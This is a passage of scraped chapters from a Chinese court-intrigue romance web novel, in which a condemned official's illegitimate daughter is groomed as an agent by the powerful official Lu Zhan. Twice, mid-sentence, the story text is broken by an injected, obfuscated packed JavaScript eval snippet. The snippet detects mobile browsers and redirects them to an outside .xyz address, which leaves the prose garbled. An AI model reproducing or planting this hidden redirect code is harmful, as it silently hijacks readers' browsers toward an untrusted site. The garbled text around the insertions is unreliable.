她摸不透这些人，也猜不透陆湛的心思。 或许陆湛也根本不想让别人猜透。 入夜后，宋蝉躺在茅草堆上，透过高窗看天际的一抹星光，忍不住想，这命运实在是造化弄人啊。 整件事最无辜的人，就是她自己。沈家的人至少曾靠着贪墨的钱过了几十年锦衣玉服的日子，而她有过什么？ 在花月楼里这十年受尽冷眼欺负，以为要迎来曙光，却出现一个莫名其妙的“爹”，将她再次拉入深渊。 私狱寒凉，这几日她膝盖旧伤愈发严重，尤其夜寒露重时，就像被千万根针刺，痛得她睡不着觉。 辗转反侧难以入眠之际，牢房的门锁忽然响动，宋蝉睁开眼，竟看见一名狱卫站在门外。 “陆大人要见你。” 已是丑时，陆湛屋里仍然烛火未熄。 桌上堆满了千鹰司奏事的册子，侍者在旁为陆湛掌灯研磨。 狱卫将宋蝉带进屋时，陆湛还在低头看着册子。 宋蝉站在门边，想到上次的情形，不敢再上前去，生怕那毒蛇不知又从哪里钻出来。 手中那本册子看完，陆湛提笔批了几字，虽未抬头，却好似已将一切尽览眼底。 “就打算在那站一夜？” 宋蝉不得不走上前。 烛光流转照印在陆湛捻笔的修长手指上，没由来地，宋蝉的感到后颈一阵酥麻，又浮现那夜他掌心粗砺的触感。 “沈家的人，半月后问斩处置。” 宋蝉微微一怔。 燕朝刑律对贪墨一向严格，前朝曾有先例，那官员被生剥了皮，身体填入稻草被放置在闹市街头，以震慑百官。 沈知培的案子是本朝第一桩贪墨大案，已然牵连全族家眷，恐怕更不会让他死得痛快。 沈家女眷更是会被拉去赤身游街，最终充妓作奴，磋磨致死。 几日前还是平民敬仰的达官贵人，如今却落得如此下场，不免令人唏嘘。 感慨之余，宋蝉也同样为自己的明天感到担忧。 她呢？陆湛他到底准备怎么处置自己呢？ 宋蝉不敢问。 直到陆湛放下最后一本奏事册。 “你说你愿为本官效劳，如今就有一个机会。” 宋蝉眼前一亮，连忙跪拜道：“只要大人愿意救民女出去，民女愿为大人效死！” 怕陆湛不信，她又深深叩首，以示忠心。 “救你，可以。” 陆湛的面容被隐在烛光阴影里，晦涩不明。 “但不是救你出去。” 陆湛语速缓慢，字字分明：“从此之后，世上再也没有宋蝉这个人。” “我要你做我手中的一把刀。” 4. 第 4 章 宋蝉深吸一口气，再开口时声音发涩。 “民女愿意。” 意料之中的答案，为了求生，这是她唯一的选择。 陆湛凝视着她，目光中暗藏对猎物般的侵略性：“你当真明白这是什么意思吗？” 宋蝉抬起眼，同样望向他。 他要她做一把刀，一把什么样的刀？ 宋蝉其实并不明白。 可她知道，哪怕是再名贵锋锐的宝刀，也只是一柄任人摆布的物具。是藏锋于鞘还是一举制敌，都由持刀人说了算。 只是她还有得选吗？眼下生死之际，陆湛愿意救她已是天大恩德，她有什么资格再跟他提要求？ 至少她必须要先从活着这里出去，才能再谈以后。 “不论大人要民女做什么，民女都愿意。” “好。” 话音落下，紫檀抱石皴屏风后一名妇人走了出来。 妇人光看衣着打扮已有四十，但保养极为得当，容貌身材说才二十岁也不为过。 陆湛抬手点了点宋蝉的方向：“于嬷嬷，将她尽快调.教好。” 于嬷嬷应是，向陆湛行了一礼，随后走到宋蝉身旁，目光上下打量，如同衡量一件商品的价值。 先是端详面容，再从肩至胸、由腰及臀，几乎一寸不落，极为细致。 “这位姑娘虽然根基不错，但这身段形貌还需要些时间调整。”于嬷嬷沉吟思考。 陆湛直接打断：“一个月，我要看见她的变化。” “奴当尽力一试。” 于嬷嬷转过身来，自带风韵的目光从宋蝉身上轻巧划过。 宋蝉被这毫不掩饰的视线盯得不自在，正想避开，于嬷嬷适时收回了视线。 “姑娘可还是处子之身？” 这于嬷嬷说话怎如此直白？ 想到陆湛还在桌后坐着，宋蝉瞬间双颊绯红，忍不住抬眼望向陆湛。 陆湛正低头批阅着一本册子，似乎并不关心她们这边发生的事情。 可谁知道他有没有在听呢？ 即便陆湛真是正人君子，但屋子里拢共就他们三人，有意或无意，总归会听见些许吧？ 于嬷嬷却继续催道：“姑娘只需答是或不是，才能决定该如何训练姑娘。” 这是一定要她回答的意思了。 陆湛竟还端然如松地坐着，没有一点要回避的意思。 好半天，宋蝉才终于吐出低若蚊蚋的一声“我还未曾婚配”。 于嬷嬷似乎没听清，语气逐渐有些不耐：“姑娘说的是什么？说得大声些。” 宋蝉只好抬高了声量：“我与男子未曾有过……” 话说完，她只觉得浑身火烧般滚烫，下意识抬眼望向陆湛。 谁知陆湛竟也在看着她，眸中情绪难明，似带着些不确信的打量。 宋蝉羞愤欲死。 陆湛一定觉得，像她这样浸在花月楼里的女子，早已失了贞洁。 实则她虽与吕蔚一起借住在花月楼后院的屋里，却从未有过夫妻之实。 吕蔚是个克己复礼的君子，所言所行，都是为了她着想。他曾说女儿家名节要紧，只要一日没拜堂，他就不能因为自己的私欲放纵，以免日后耽误了宋蝉。 竟是叫他说中了。 听到宋蝉的回答，于嬷嬷终于满意了，含笑点了点头，转身向陆湛回话。 “大人，若无别的事，奴就先将这位姑娘带回去了。” 于氏带宋蝉离开后，陆湛看册子直至深夜。次日天刚亮，皇宫那边传了话，说是圣上请陆湛过去。 这是新帝登基以来的第一桩大案，陆湛办得干净利落，新帝很是满意，不免一番嘉奖，临走前，又赠了他不少名贵物品。 从皇宫出来，陆湛并未急着回府，而是绕路来到崇文街。 昔日繁盛的沈氏府邸，如今人去楼空，气势恢宏的高门上贴着白色的禁条，随寒风凄惨飘摇，很是荒凉。 一辆马车停在沈家门口，陆湛与武宁侯之子薛行简静坐其中，将沈家的破落相收入眼底。 薛行简从口袋里捻出一粒胡桃仁抛进嘴里：“听说梅家的那个小女儿被你处置了？” 陆湛嗯了一声。 “陆沧鸣啊陆沧鸣，难怪现在朝中那些文臣见你如见蛇蝎，唯恐避之不及。你明知道那个张维与梅氏有世仇，还非要派那梅娘子去接近他。” 薛行简摇了摇头，实在忍不住怜香惜玉，一想到那梅家小娘子就这样被处置了，嘴里的核桃仁都不香了。 陆湛淡淡道：“越是艰难，才越能检验一个探子的能力。危急关头，她却退缩不前，害得同伴险些丧命，弃了也不可惜。” 见薛行简欲言又止，陆湛问：“还有话要说？” “我不明白，梅家小娘子是你悉心栽培多年的一步棋，如今就这么弃了，就算准备找人代替，我们还有很多备选，你怎会想着找沈家那个私生女？” 薛行简一向话密，此刻着急起来语速更快，就像火铳枪里的弹箭一样。 而陆湛不慌不忙，斟了两杯茶，递给薛行简一杯。 薛行简急得牙痒，却也耐他不得。 “我本就没打算让她继续梅氏的任务。” “啊？”薛行简手上动作一顿，瞪大了眼睛。 沈知培贪墨确有其事，如今落得这个下场也是法理之中。 但陆湛心里清楚地明白，沈知培只是被巨浪推上岸的一只搁浅小鱼，是弃子，亦是诱饵。 庙堂之间的争斗远不止表面这样简单，平静的水面下早已四方暗潮涌动，真正操控全局的黑手依旧藏匿在不见光的角落。 只有找到那个人，新朝才能太平。 陆湛端起盛着热茶的斗彩马蹄杯，浅尝。 今年班章新下的普洱，天子尽数赏了他。 新茶虽不如陈茶，但只要制茶的手法得当，也能别有一番清雅风味。 梅氏既已暴露，原先的计划就不能再继续冒险。宋蝉如今的资质的确与梅氏相差甚远，但这不重要，一切都可以慢慢调.教。 但沈知培会让外室孤女流落在花月楼中，与达官贵人往来，绝不只是像表面那样简单。 宋蝉的身上，一定还藏着许多有待细察的隐秘。 陆湛行事一向谨慎，宁可错杀，也不能错放。 “行简，你是花月楼的常客，帮我查一个人。” “好。”薛行简想都没想便应下了，过了会才察觉好像不太对。 “你说谁是花月楼的常客啊？！” * 私狱并不大，但其中关卡暗道繁多，若非有人在前头带领，宋蝉一定会迷路。 已是被关进私狱的第十日了，陆湛终于履约，要放她出去。 宋蝉跟在于嬷嬷身后，将来时的路又走了一遍。 路过最初关押自己的牢房时，宋蝉隐约还能听见里面沈家女眷的哭泣声。 回想起那夜她被抓进这间牢房，沈家的小娘子还对她多有羞辱。到如今，却只有她一人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769300|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完好地走出这私狱。 而她心中竟没有劫后余生的窃喜，只感到难以言明的悲凉。 她的命虽是保住了，可如今被陆湛拿捏着身份，往后的日子是否好过，又有谁能保证呢？ 眼下，也只能走一步看一步了。 将出侧门时，两名身穿朱雀纹淡紫袍的女侍卫为宋蝉戴上面罩，一左一右地押送着她向门外走去。 云都接连几日的雨终于停歇，侧门打开的那一瞬，宋蝉重见天光。 阳光拨散天际薄雾，落在宋蝉身上时还带着些未散的潮气。 将要走近马车的时候，宋蝉听见附近有一名男子正在向门口的侍卫交谈。 她双腿一软，几乎快要跌倒在地。 是吕蔚！ 是吕蔚的声音！ 宋蝉在马车前停下脚步，试图寻找吕蔚的身影。可面罩严严实实地盖住了视线，她只能依稀听见吕蔚的声音。 那边吕蔚言辞恳切，将态度放得极低，他似乎尽办法凑足了一袋银钱，正向侍卫求情通融，希望能得到宋蝉的消息。 吕蔚不善言辞，也从来最不喜谄谀之态，总是不愿靠钱财打点关系，什么都只想靠自己的真本事。 可这世道怎么容得下这样的愣头青？吕蔚在读书时便总不如旁人顺意，常受夫子冷眼。 吕蔚不喜世俗往来，恰巧宋蝉在花月楼里摸爬滚打多年，最通晓人情世故，后来，这些人际上的事情也都是宋蝉替他做的，宋蝉从来舍不得他沾染红尘中的俗气。 可如今吕蔚却是为了她，要这般卑躬屈膝地同几个侍卫求情。 这地方距云都少说也有二十里路，且藏得隐蔽。吕蔚是怎么找过来的？一路该受了多少委屈？ 宋蝉的双眼瞬间便红了。 她几乎想不顾一切地跑到吕蔚身边，告诉他自己还活着。 可是她不能。 她好不容易才能走出这个地方，不能就这样回去了。 况且就算回去，又能怎样呢？她能拿什么身份与吕蔚相认呢？ 她已不是花月楼里的杂使丫头，而是沈家罪臣流落在外的私生女，贸然见面只会给吕蔚带来更大的麻烦。 既然已选择了跟从陆湛，她便没有了回头的余地。 除非有一日她能获得陆湛的信任，让陆湛给予她一个新的身份，到那时，她就能光明正大地与吕蔚重新在一起了。 马车内部并不宽敞，车帘颜色也因常年洗渍而泛旧，宋蝉被夹坐在两名女侍卫之间，以防她跳车逃走。 直到马车渐渐驶离牢宅，女侍卫才为宋蝉摘下面罩口塞，宋蝉瞬间泪如雨下。 于嬷嬷坐在宋蝉对面，也不出声，只静看着宋蝉哭泣。等她渐渐哭得没力气了，才递去一张绣帕。 “刚才门外那个小书生，是你的情郎吧？” 宋蝉无心回应于嬷嬷的窥问，可她知道，之后她要在于嬷嬷手下讨生存，总不能第一天就得罪了，于是应付点了点头。 于嬷嬷又道：“你还年轻，之后好好表现，争取跟着大人去京城，往后什么样的达官贵人见不得？不比守着个穷书生好？看开些吧。” 于嬷嬷到底只是外人，不明白她与吕蔚之间的经历，隔岸观火，不痛不痒。 但宋蝉却忘不了两人抱团取暖、相依为命的那些日子。 只是于嬷嬷有一点说得对，唯有去到京城，才能获得更多的机会。 她绝不能待在这里无谓地消磨时间，她要尽快将自己变成陆湛满意的样子。 5. 第 5 章 沈家行刑的日子定在了二十七日，午时三刻。 这是钦天监算好的时辰，阳气最炽，能压制邪崇， 城楼望台上，陆湛与薛行简并肩而立。 薛行简本就是京中有名的风流公子，爱慕他的小娘子不在少数。他生得极好，眉眼温润，举手投足间无不透露着世家公子的风范。 然而站在气场更为强大的陆湛身边，薛行简竟都被衬得有些逊色。 陆湛身量极高，一身墨色劲装包裹着宽肩窄腰，高鼻挺直如峰，眉目疏淡，虽透着拒人千里的距离感，但仅仅站在那里便自带无限风华。 望台下，沈知培及沈氏族人三械加身，乌压压地跪了一地，等待着最终的审判。 褪去了往日的华服，再无往日的风光威容，所谓达官高门，也不过如沧海一粟而已。 “时辰已到！”威严的喝令划破天际，刽子手大刀落下，天际溅起一片血色。 沈氏男丁首级被高悬于城墙之上，以儆效尤，殷红的血蜿蜒而下，留下一道道触目惊心的血痕。 百姓们面露惊惶之色，议论感慨后，围观的人群逐渐散去，陆湛与薛行简的身影亦消失在城楼望台的尽头。 薛行简的脸上难得凝着愁色：“没想到，沈知培宁可让全族陪葬，也不肯供出背后那个人的名字。” 沈知培的案子看似是结束了，但也不过是斩断了亮处的几缕丝线，其背后牵扯的势力盘根错节，想必此时已于暗处伺机而动，谋划着一场更为隐秘的反击。 在这个时刻贸然出击，无异于打草惊蛇之举，但新帝需要立威以震慑朝堂，在这个节骨眼上，也唯有迎难而上，别无他途。 陆湛目光幽深，眸底闪过一丝寒意。 “上次托你查的事，有消息了吗？” 薛行简收回了目光，从怀中取出一卷绢册，递到陆湛手中。 “这个宋蝉，还挺有意思，只可惜被被困在花月楼中，偏又是个罪臣之女。” 他感慨着：“但凡是个男子，想必也能在商道里闯出一番天地。” 绢册上记录着宋蝉的确与京城的部分官员家中有往来，但未查到有情报上的传递。 凭借制香的手艺，原先宋蝉只是为楼里的姑娘制作简单的香膏，后来开始仿刻京中有名的胭脂水粉，再以低价卖给达官贵人家中仆妇与其外室，长此以往，攒下不少人脉银钱。 陆湛对宋蝉有些刮目相看。 一个在花月楼长大的女子，竟能从杂役丫头开始，将生意做到高官的后院里。其间人情世故复杂，绝非仅靠小聪明就能达成，着实令人意想不到。 “除此之外，我还为你多打探到了一个人。” “谁？” 薛行简笑容意味深长。 “还有一个名叫吕蔚的书生，与宋蝉同吃同住，已到了要谈婚论嫁的地步。” 陆湛阖上册子，指尖一遍一遍轻抚着册面，眸色晦暗，不知在想些什么。 * 从私狱出来已有半月，宋蝉也逐渐习惯了新宅子里的环境。 这处介于京郊的宅邸，似乎是陆湛的私产。地方不大，但胜在布局精巧，几处庭院错落分布，打理得干净整洁，庭院中央一棵老榕树郁郁葱葱，植根粗壮，似已有好些年头。 东头还有一间敞亮洁净的屋子，是特地为陆湛留的。只是陆湛似乎很少来这里，从宋蝉入住至今都没有见到过他。 每日晨起，宋蝉都要先泡半个时辰的汤浴，汤池里加了特制的香药，既能润嫩肌肤，也能催饰身形。 另有些特殊作用的药膏，每日抹在手上，让十指纤细莹润，亦能去掉她掌心的薄茧。 宋蝉有些烦闷。 她从未在这些外貌上耗费这样多的时间，也从没觉得自己身上有什么地方是不好的。 只是到了这里，她才发现竟有这么多需要改变的。 今日盥洗后，侍女苏罗递来一件云丝寝衣。 宋蝉刚展开寝衣一角，便又急忙攥紧了。 “当真要穿这件吗？” 苏罗点点头：“是于嬷嬷让我拿来的。” 云丝素以纤薄闻名天下，贴身穿着更是近乎透明。甫一上身，就将她的身线勾勒得一览无余，引人无限遐想。 从前，哪怕是独自在屋里睡觉，宋蝉都会规矩妥帖地穿好寝衣寝裤。眼下穿着这种衣裳，实在是很不适应。 再回到正堂，于嬷嬷已坐在中间，面前已站着三名年长的仆妇。 待宋蝉站定，年长的仆妇们手拿量尺，毫无顾忌地丈量着她年轻蓬勃的玉体，从肩颈、腰身、臀腿，乃至足踝手腕的量度，皆被记录在册。 最后一笔勾画毕，于嬷嬷接过仆妇递来的册子，颇为满意地点了点头。 半月来的汤浴起了成效，若说宋蝉原先还是含苞待绽的嫩芽，如今却像季夏时序的藤萝，垂坠欲滴了。 “不错，你果然争气，是个好苗子。” 于嬷嬷又道：“今日午膳后，大人会派人来接你进京采买。京城里的商户惯爱以衣貌打扮辨人高低，你记得打扮得体面些，别让他们看轻了。” 进京？ 陆湛居然这样轻易便愿意放她进京，宋蝉心中讶然，但更多地是对进京盈满了期待，也没有多想什么。 午后，丫鬟苏罗为宋蝉换上一件淡蓝色的褙子长裙，衣料轻盈，裙摆下方微微散开，绣着几枝淡雅的玉兰，行动间若花影摇曳生姿。 坐在铜镜前，宋蝉心中忽然想起于嬷嬷的嘱托。 “苏罗，替我绘一个自然别致些的妆吧。” 一辆马车早已停在宅门外，见宋蝉走过来，车夫为她掀开车帘幕的一角。 “娘子请上车吧。” 马车以檀木制成，车壁雕刻云纹连绕，连车夫手中的缰绳都由柔韧的上好皮料制成，细节处无一不彰显奢华。 她从未坐过这样好的马车，一时连动作都有些拘谨。 只是刚踏进马车内部，宋蝉便怔在原地。 陆湛竟也坐在车内。 他靠坐在绫罗制成的枕背上，身姿挺括俊朗，与车内的华贵氛围相得益彰。 宋蝉未曾想到陆湛居然也要与她同去，也根本还没有做好与他见面的准备。突如其来的变化，让她有些措手不及。 或许是在思索政事，陆湛始终闭着眼睛。 宋蝉也不由得屏住呼吸，怕扰了他的神思。 习武之人，对周遭的情形事物尤为敏感。 陆湛虽未睁眼，却好似已透过眼帘，看见了她所有的神情动作。 “坐过来。”声音虽不高，却透着不容置疑的威严。 宋蝉身形微微一颤，眼底闪过一丝惊惶，下意识地揪紧衣角。 可面对陆湛的命令，她不敢违抗，只能硬着头皮，缓缓靠近他，坐在他的身边。 她与他先前也有过这么近的距离，但那时的陆湛身上尽是上位者的倨傲与冰冷，挟带着沉重的压迫感。 而现在，他阖上那双最为锐利的眼睛，那种令人发惧的锐气终于少了几分。 宋蝉竟然也敢抬起眼，悄悄打量起他的容貌。 光论这张脸，实在是无可挑剔。他的鼻梁很高，脸部线条凌厉，却带着武官文相的俊秀。 常年习武使他周身散发着一种与生俱来的力量感，随意搭在腿上的大手骨节分明，手背青筋隐现，长指修长有力，看得宋蝉莫名感到耳廓发烫，连忙移开了目光。 虽然已经刻意留了些距离，但马车行驶起来，难免颠簸，她和陆湛的膝盖总是不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769301|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意地触碰在一起。 每一次触碰，都让宋蝉心头一紧，脸颊泛起了不易察觉的红晕。 马车内燃着银碳，烘得氛围滚烫，宋蝉在车内坐了一会，便感到微微发汗，意欲脱下外面一层小袄。 她不敢有太明显的动作，只能微微地将膝盖往回缩，尽量避免与他的触碰。 小袄刚褪至肩头，马车忽然剧烈颠簸起来，宋蝉猝不及防地撞进了陆湛的怀里。 脸颊贴着陆湛坚实的胸膛，他身上的温热气息萦绕在周遭，那气息如他人一般，具有极强的攻略性，让宋蝉的心跳陡然加快。 她红着脸推了推陆湛的胳膊，想要借力起身。 陆湛却没放手。 那双大手带着不容抗拒的力量，扣在她的肩上，她的身体已经很热了，可陆湛的手竟然比她更热。 透着一层衣料，如火一般的滚烫、所经之处竟是燎原。 他缓缓睁开眼，目光落在宋蝉的脸上，从她莹洁的雪额，到用心绘了妆容的眉眼，再向下，一寸寸扫视，最终停留在那微微发颤的娇唇上。 “容貌是较之前有些变化了。” 宋蝉的脑中一片空白，只能听见自己如鼓般的心跳声。 她不知该说些什么，只是木然道：“于嬷嬷悉心教导，民女不敢辜负……” 话未说完，陆湛便将她扶正回去，面容平静如水，仿佛刚才什么都没发生过一般。 “只是仪态还需向京中贵女们多下下功夫。” 陆湛复又靠在椅枕上，闭了眼，徒留宋蝉怔在原处。 约莫半个时辰后，马车停了下来。 陆湛兀自先下马车，宋蝉戴上备好的幂篱，也紧忙跟了上去。 京城长街正是最热闹的时候，小贩的叫卖声不绝于耳，道路两旁商户林立，繁华得令人目不暇接。 在市井的欢声笑语中，刚才车上发生的尴尬很快便淡去了。 这是宋蝉第二次来到京城，看着京城热闹的情景，心情居然有些复杂。 云都和京城距离并不遥远，搭乘驴车不消半日便能到达。 只是她在花月楼做工，想请两日假并不容易，更别说还要扣掉工钱。先前为了供吕蔚读书，他们一向是能省则省，进京一趟的路费、住宿费样样都是钱，因此他们一直没能去京城逛逛。 上次进京，也是她这辈子第一次进京，还是那年陪吕蔚进京参加讲学。 京城的景象与她记忆中的没有变化太多，只是这一次，陪她来京城的人不再是吕蔚了。 陆湛迈步进了门头很是高级的衣肆，宋蝉也快步跟上。 这间衣肆宋蝉也有耳闻，是京中声名远扬的店铺，一向只接待身份贵重的客人。 刚跨进门槛，一股淡雅的熏香便萦绕扑鼻。宋蝉识得这是琼州上好的沉香，素有一两沉香一两金的说法。 这样一件衣肆，竟能用得起如此贵重的香料，便可知其奢华。 店内一排排精致的成衣错落摆放，每一件都以金丝银线绣着繁复的图案，仅是那些图案，就需要几名老练的绣工耗费数月才能完成。 宋蝉静静欣赏着眼前的衣服，眼中竟是惊叹。 几名训练有素的侍女熟练地穿梭在衣物之间，行走之间的步风，引得宋蝉头上幂篱轻纱微动。 在衣肆另一边的角落里，宋蝉忽然好像看见了一道极为熟悉的身影。 那刹那，她感到心跳仿若凝滞，不禁攥紧双手，呼吸也为之一窒。 陆湛也察觉了她的走神。 “你在看什么？” 宋蝉摇摇头：“没什么，只是刚才眼花，好像看见了一位故人。” 陆湛拿起一块布料，在指间捻了捻，仿似只是不经意地随口一问：“是吗？是哪位故人？” 6. 第 6 章 只一晃神的瞬间，那道身影便消失在层层悬挂的华衣后。 宋蝉回过神，听见陆湛的问话，眼底闪过一丝慌乱：“以为看见从前花月楼里的姐妹，可这里是京城，应当是我看错了。” 说完，她下意识地望向陆湛。 陆湛仍垂眼望向手中的衣料，表情稀松平常，并未因宋蝉的回答而有什么变化。 宋蝉松了口气。 她很快将目光转向店内其他的布料，没能看见陆湛眼底稍纵即逝的冷意。 陆湛今日穿着再寻常不过的素袍，唯有腰间的玉佩稍显名贵。但或许是因为难以掩盖的出众风姿，两人在店里刚站了一会，便有女管事便亲自来迎。 “贵人是要为夫人裁几身新衣吗？” 容貌相配的年轻男女出入衣肆，自然容易被认成新婚的小夫妻。 只是宋蝉自知与陆湛身份云泥之别，料想他应当不愿被人这样误会，便解释道：“我们并非……” 话未说完，就被陆湛沉声打断：“为她挑选几身合适的衣裳，过几日我会派人来取。” 他竟是默许了店家的称呼。 不过宋蝉很快就想明白了，陆湛这样眼高于顶的世族贵客，恐怕觉得和寻常百姓多说一句话都是浪费时间，更不会主动向他们解释什么。 宋蝉识趣地也没再多开口。 女管事低头称是，转向宋蝉恭敬道：“还请娘子随我来量个尺寸。” “不必了，我们还赶时间。”陆湛从袖中拿出一本蓝绒封皮的小册，放置桌上。 “就按照这册子上的尺寸去制。” 宋蝉一眼便认出了那册子便是今晨于嬷嬷手中的那本。 上面巨细无遗地记录着她的尺寸，从腰身踝腕的粗细到肩臀的起伏。几乎一幅栩栩如生的画卷，将兰躯的隐秘袒露其上，没有一点保留。 可是这册子竟送到了陆湛的手中。 陆湛他……也看过了吗？ 很快，女管事已誊好了尺寸数字，又将册子还给陆湛。 在宋蝉的注视下，陆湛缓缓地将册子收回袖中。 宋蝉不敢问，但实在忍不住细想。在看向陆湛时，只觉得他的双眼已然透过册子上的笔墨文字，一寸寸地描摹着她的身形。 她慌乱地垂下眼眸，细密的汗珠沁开在洁白细腻的颈子上，涨红的面色瞬间绵延至耳根。 陆湛今夜仍然没有宿在私宅，只差车夫将宋蝉一人送回去。 回到宅院后，于嬷嬷询问了几句今日的情况，宋蝉一一回答，未有后话。 深夜，宋蝉枕在榻上，听着窗外稀薄的虫鸣。 外间榻上守夜的桃松似乎已经睡了，偶尔传来几声轻微的低鼾。 宋蝉却怎么也睡不着。 她侧躺在榻上，望着窗外的月色，脑海中不断回忆着白天在衣肆里的情景。 那道身影，实在是太像吕蔚了。 她曾与吕蔚朝夕相处，早将吕蔚身形样貌深刻脑海。哪怕只是远远一眼，她也能辨出。 她几乎能够认定那就是吕蔚。 只是有一处，她怎么也想不明白。眼下离会试尚有一段时间，吕蔚怎会在此时出现在京城？ 沈氏案的风波席卷云都，这些日子以来，料想吕蔚也从街坊口中听说了她的下场。 其实宋蝉心里清楚，她与吕蔚此生恐怕难以团圆了。 只是过去那些在困境中彼此扶持相依的时刻，尽数嵌入吕蔚赠她的那枚玉簪中，被她藏在枕下，成为了支撑她前行的依托。 每到夜深人静之时，她总会拿出玉簪看一看，面对前途未卜的明天，似乎她也没有那么恐惧了。 但今日命运又捉弄了她一次。 思及吕蔚，宋蝉辗转反侧，始终放心不下。 那家衣肆的衣服布料价格昂贵，以吕蔚手中的积蓄，绝无可能是去购置新衣。唯一的解释，便是他在那家店里做工，积攒赶考的路费。 宋蝉忽然想通了这其中的关窍，激动不已。若是这样，她只需要再回到衣肆，便能见到吕蔚了。 若他手头困窘，她正好可以将这簪子换成银子，托人送给他，以解燃眉之急。 可要怎么样才能再见到陆湛，让他允许自己再去一次京城呢？ * 天无绝人之路，没过几天，于嬷嬷忽然派人将东头那间久未有人居住的宅子重新打扫了，说是陆大人要回来住一段日子。 在宋蝉每日例行浸泡汤浴的时候，陆湛一行人已搬进了东头的主屋。 只是此后的两天，陆湛一直待在屋里不曾出来，就连每日的膳食都是小厨房做好了送进去的。 见不到陆湛，宋蝉说不上话，更不可能求他让自己进京。 陆湛不出来，那就只能她去找陆湛。 京城的衣肆正好将裁制好的几件新衣送来了，每一件都极尽精巧。宋蝉抚着那几件新衣，心底忽然有了主意。 虽然做好了准备，可真到了要行事的当晚，宋蝉又不免紧张起来。 她换上其中一件绯红色的新衣，坐在镜前，手中的石黛拿起又放下，如此反复多次，才深吸一口气，照着这些日子从苏罗那边学来的手法，在弯如新月的眉上描绘起来，点染胭脂时更是多次尝试，生怕手一重便破坏了整个妆面。 如此数次，终于绘完。对镜端详后，却觉得不大自在。 妆容有些艳了，像山间秾丽的芍药，惹眼又过于娇媚。 领口微开，恰到好处地露出白皙如玉的颈。只是太过刻意，总像是在蓄意勾.引。 宋蝉又将唇上的胭脂擦拭得淡了些，并套了件寻常的月白袄衫罩住新衣，才推开了屋门，往东院的方向去了。 陆湛房中灯火未歇，窗边风灯隐约勾描出他在桌前的身形轮廓。 然而还未近门前，便被逐川拦下。 “大人已准备歇息了，娘子若有事找大人，且等明日再说吧。” 或许是与陆湛共事久了，逐川的面容也同样冷淡。 他手握重剑守在门前，似一座不可逾越的山峰，神情严肃。 宋蝉本就觉得此事难堪，被逐川这样一说，更羞愧不已，转头就要折回去。 可没走几步，她停了下来。 陆湛好不容易才回来小住，指不定哪天就又要离开，此次不说，又要等到什么 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因在自己屋内，陆湛仅穿了睡袍，外边随意披了件褐色大氅，脸色似乎较往日有些苍白，透着几分不易察觉的病弱。 虽然屋内点着熏香，宋蝉还是闻到一股淡淡的草药味。 再回想这两日在后厨墙边见到的药渣，一切似乎都能说的通了。 “大人是身体有什么不适吗？” “我无事。”陆湛语气平淡，“深夜过来，有什么事要说？” 宋蝉才想起来此行的目的。 只是想到马上要说的话，不免有些紧张。 “大人带我去衣肆裁制的衣裳，今日送到了。我试了试，样式料子都极好。只是或许是这些日子我体态稍丰了些，尺寸好像不太合身。” 宋蝉抬起眼，试探问道：“不知大人可否再差人送我进一趟京，好让缝工重新量身，将衣裳宽些尺寸？” “是你身上这件？” 宋蝉答是。 陆湛往她身上扫了一眼：“去了外裳，我看看。” 宋蝉有些讶异于陆湛的问话，纤白的指压在襟前，进退两难。 陆湛语气极尽自然，面上也没有一丝亵玩的神情。只是倚在方榻上，静静等待着。 她咬咬唇，像是终于下定决心，解开了旧袄的扣子。 朴素寻常的月白旧袄落地，堆叠笼绕着她的小腿边，如层层绽开的花瓣，簇拥着最深处娇丽的蕊。 如她所说，这些日子确实丰腴了起来。 绯红的长裙覆在身上，纤细的腰肢仍然不盈一握，只是再向上，便有些紧了。 轻薄布料仿佛难以承受饱满的轮廓，如快要绽开的玉兰花苞，雪白的有些刺眼。 是不一样了。 陆湛不着痕迹地移开目光，放下手中的卷册。 “不必改了。” 没想到他会这么说，宋蝉怔然，尚未想到其他进京的借口，便又听到陆湛说。 “这件衣服太过俏艳，不适合你。等明日，我带你去重新换一件。” 7. 第 7 章 宋蝉离开后，逐川走进屋内。 陆湛上衣褪尽，昏黄灯影渡在他精壮宽阔的后背上，覆着一道道触目惊心的鞭痕。 这显然是近日才添的新伤，纵横交错的血痕格外刺目。 大人在外戍边的那几年，也受过许多次伤，可那些伤痕是的上阵杀敌荣耀证明，从没有像这次这般窝囊。 若非大公子蓄意挑唆，大人又怎会挨公爷的这顿鞭子？ 旁人或许不知，逐川是最清楚不过的。 幼时，明明是大公子犯的错，他却在公爷面前栽脏大人，害大人在雪中受公爷棒责，留下宿疴； 为官，大人是斩将搴旗的武将，他便要当言官，斥大人功高盖主，使大人被放逐戍边。 在外人面前，大公子扮尽良善，实则心机深沉，屡屡给大人设绊。 夫人的死，他更是难辞其咎。 逐川边为陆湛换药，愤愤不平：“陆沣实在是欺人太甚，大人如今既有陛下撑腰，何必还要忍他！” 陆湛在笑，眼中寒意却更甚：“我与他之间的纠葛，绝非轻易就能了断。仰仗皇上出面裁断，看似利落，对他来说却只是皮毛之痛，太过容易。你放心，此事我自有主张。” 草药药效开始发作，背后的伤开始隐隐发痒，如针细密的痛感刺激着裸露的皮肤。 陆湛没有皱眉，眼底反而露出隐隐的愉悦。 借刀杀人怎能解恨？ 